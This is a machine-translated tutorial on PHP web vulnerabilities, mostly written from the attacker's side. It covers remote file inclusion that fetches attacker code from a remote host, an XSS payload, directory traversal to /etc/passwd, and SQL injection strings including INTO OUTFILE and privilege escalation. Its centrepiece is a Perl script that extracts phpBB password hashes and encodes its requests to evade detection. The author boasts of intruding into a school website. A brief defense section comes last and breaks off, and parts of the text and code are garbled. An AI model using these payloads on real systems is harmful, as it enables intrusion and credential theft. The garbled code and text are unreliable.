Summary of PHP website vulnerabilities_PHP tutorial

From the current network security point of view, the WEB page vulnerability that everyone is most concerned about and exposed to most should be ASP. In this regard, Xiaozhu is an expert, and I have no say. However, in terms of PHP, it is also There are also serious security issues, but there are not many articles in this area. Here, let’s briefly discuss the related vulnerabilities of PHP pages.
I have made a summary of the current common PHP vulnerabilities. They are roughly divided into the following categories: including file vulnerabilities, script command execution vulnerabilities, file leak vulnerabilities, SQL injection vulnerabilities, etc. Of course, as for some common technologies such as COOKIE spoofing, we will not discuss them here. There is also a lot of information on the Internet. So , let’s analyze how to exploit these vulnerabilities one by one!
First, let’s discuss the included file vulnerability. This vulnerability should be said to be unique to PHP. This is due to insufficient processing of externally provided malicious data, thus As a result, remote attackers can exploit these vulnerabilities to execute arbitrary commands on the system with WEB process permissions. Let's look at an example: Suppose there is such a code in a.php:
include($include ."/xxx.php");
?>
In this code, $include is generally a path that has been set, but we can achieve the purpose of attack by constructing a path ourselves. For example Say we submit: a.php? include=http://web/b.php, this web is the space we use for attack, of course, b.php is the code we use for attack. We can use b. Write code similar to: passthru("/bin/ls /etc"); in PHP. In this way, you can perform some purposeful attacks. (Note: The web server should not be able to execute PHP code, otherwise problems will occur. For relevant details, please see < >). In terms of this vulnerability, there are many situations, such as: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart, etc.
Next, let’s look at the script command execution vulnerability. This is due to the URI parameters submitted by the user Lack of adequate filtering and submitting data containing malicious HTML code can trigger cross-site scripting attacks and potentially obtain sensitive information of target users. Let us also give an example: the index.php page in PHP Transparent PHP 4.3.1 or below lacks sufficient filtering of PHPSESSID. We can achieve the purpose of attack through such code:
http://web /index.php?PHPSESSID="><script>...</script>In script we can construct functions to obtain some sensitive information of the user. There are relatively few vulnerabilities in this regard, except for PHP Transparent In addition, there are: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Then, let’s take a look at the file leak vulnerability. This vulnerability is due to the lack of adequate filtering of user submitted parameters. Remote attackers can use it to conduct directory traversal attacks and obtain some sensitive information. Let's take the recently discovered phpMyAdmin as an example. In phpMyAdmin, the export.php page does not fully filter the what parameters submitted by the user, and the remote attacker submits a file containing Data with multiple ../ characters can bypass WEB ROOT restrictions and view any file information on the system with WEB permissions. For example, enter such an address: export.php?what=../../.. /../../.. /etc/passwd%00 can achieve the purpose of file leakage. There are relatively many in this area, including: myPHPNuke, McNews, etc.
Finally, we have to go back to the final This is where I get excited. Think about how fun it is to use SQL injection in asp pages. In the past, we had to inject manually until Xiaozhu figured out the "SQL injection secrets" (hehe) and then developed NBSI. The NB Alliance has really opened up the sky. It has helped find loopholes in large websites such as CSDN, Monopoly Forum, China Channel, etc. (I won’t go into more nonsense, it’s a bit off topic...). Let’s keep it true, in fact, in SQL injection in asp is roughly the same as SQL injection in php, just pay a little attention to the functions used. Change asc to ASCII, len to LENGTH, and other functions are basically unchanged. In fact, you can see Do you think of PHP-NUKE and PHPBB when it comes to SQL injection in PHP? Yes, as the saying goes, a forum like Dongwang should be the king of vulnerabilities in the ASP world. This does not mean that its forum is safe. It's too bad, but it's too famous. The more others use it, the more people will do research, and the more security holes will be discovered. The same goes for PHPBB. Nowadays, a large number of people use PHP for forums. Generally, They all chose PHPBB. Its vulnerabilities are always emerging, from the earliest vulnerability discovered in phpBB.com phpBB 1.4.0 version to the latest groupcp.php in phpBB 2.0.6 version, as well as the previously discovered search.php , profile.php, viewtopic.php and so on, there are probably about a dozen of them in total. This has always led to some people using it as a test product when studying PHP vulnerabilities. As the saying goes, practice makes you perfect. I believe that in the future PHPBB will get better and better.
Okay, let’s analyze the cause of the vulnerability. Take the viewtopic.php page as an example, because when calling viewtopic.php, the "topic_id" is obtained directly from the GET request And passed to the SQL query command without any filtering processing, the attacker can submit a special SQL string to obtain the MD5 password. Obtaining this password information can be used for automatic login or brute force cracking.(I don’t think anyone would want to brute force it, unless there is a particularly important reason). Take a look at the relevant source code first:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[topic]) )
# {
# $topic_id = intval($ HTTP_GET_VARS[topic]);
# }
From the above we can see that if the submitted view=newest and sid is set to a value, the executed query code looks like the following (if you haven’t seen it yet) As for the PHPBB source code, I suggest you read it and then look here. The affected systems are: phpBB 2.0.5 and phpBB 2.0.4).

# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# where s.session_id = $session_id
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";

Rick provided the following test code:

use IO::Socket;
$remote = shift || localhost;
$view_topic = shift || /phpBB2/viewtopic.php;
$uid = shift || 2;
$port = 80;
$dbtype = mysql4; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype ";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port :$@ ";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 ";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1 "; # replace this for pgsql or remove it
print $socket "Host: $remote ";
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=< num># {
$p .= chr ();
}
}
close($socket);
}
print " MD5 Hash for uid $uid is $p ";
# random encode str. helps avoid detection
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j ) % 2 || $c eq ) {
$ret .= "%" . sprintf("%x",ord($c));
} else {
$ret .= $c ;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq mysql4) {
return " union select ord(substring(user_password, " . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq pgsql) {
return "; select ascii(substring(user_password from $index for 1 )) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
} else {
return "";
}
}

I won’t explain too much about this broken code. The function is to obtain the HASH value.
Seeing this, you may have some questions about why the modified functions I mentioned earlier are not used. I will tell you. Don’t be afraid of everyone’s jokes: In fact, the query statements on some pages of many websites on the Internet will look like this:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Don’t laugh, it’s true. I’ve used this to access several large websites. As for which ones, it’s hard to tell, but this is how I got into the backend of our school’s website (I hope the school network center can’t see it) To this article, ^_^). Use the previous function. Otherwise, you will have to change other people’s passwords!!!
I almost forgot one thing, when it comes to SQL injection, PHP and ASP are different , mysql’s use of sql statements is not as flexible as mssql. Therefore, many query statements that can be used on mssql will not work in the mysql database. Generally, our common injection statements are like this: aaa.php?id=a into outfile pass .txt or aaa.php?id=a into outfile pass.txt /*You can further change it to: aaa.php?id=a or 1=1 union select id,name,password form users into outfile c:/a
in .txt can export the database data to a file, which can then be viewed.
or like this: mode=, user_level=4
This statement is generally used when modifying data. If there is a vulnerability in the page, It can achieve the effect of elevating privileges.
Others such as OR 1=1 -- or: 1 or 1=1 are similar to asp. I won’t go into more details here. In PHP, SQL injection seems to be a vulnerability. First of all, there are too many pages with this problem.
In fact, you can see that there is only one reason for the above categories: the submitted parameters are not filtered or the filtering is not strict enough. Hackers' defense lines have always been both offensive and defensive. Here, Let’s briefly talk about the prevention methods.

First of all, I personally think the most important point is to set magic_quotes_gpc to ON. Its function is to convert single quotes, double quotes, backslashes, and null characters into characters containing backslashes, such as select * from admin where username=$username and password=$password statement, the attacker wants to use 1 or 1=1 to skip verification, but those strings will be converted into this: select * from admin where username=a and password=1 or 1=1 to achieve the purpose of preventing injection. In fact, the addslashes() operation is automatically performed. If it doesn't work, define a function to handle it yourself. Now it seems that those who engage in PHP

http://www.bkjia.com/PHPjc/508215.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508215.htmlTechArticleFrom the current network security point of view, the WEB page vulnerability that everyone is most concerned about and exposed to should be ASP. In this regard, Xiaozhu is an expert and I have no say. However, in terms of PHP, there are also many...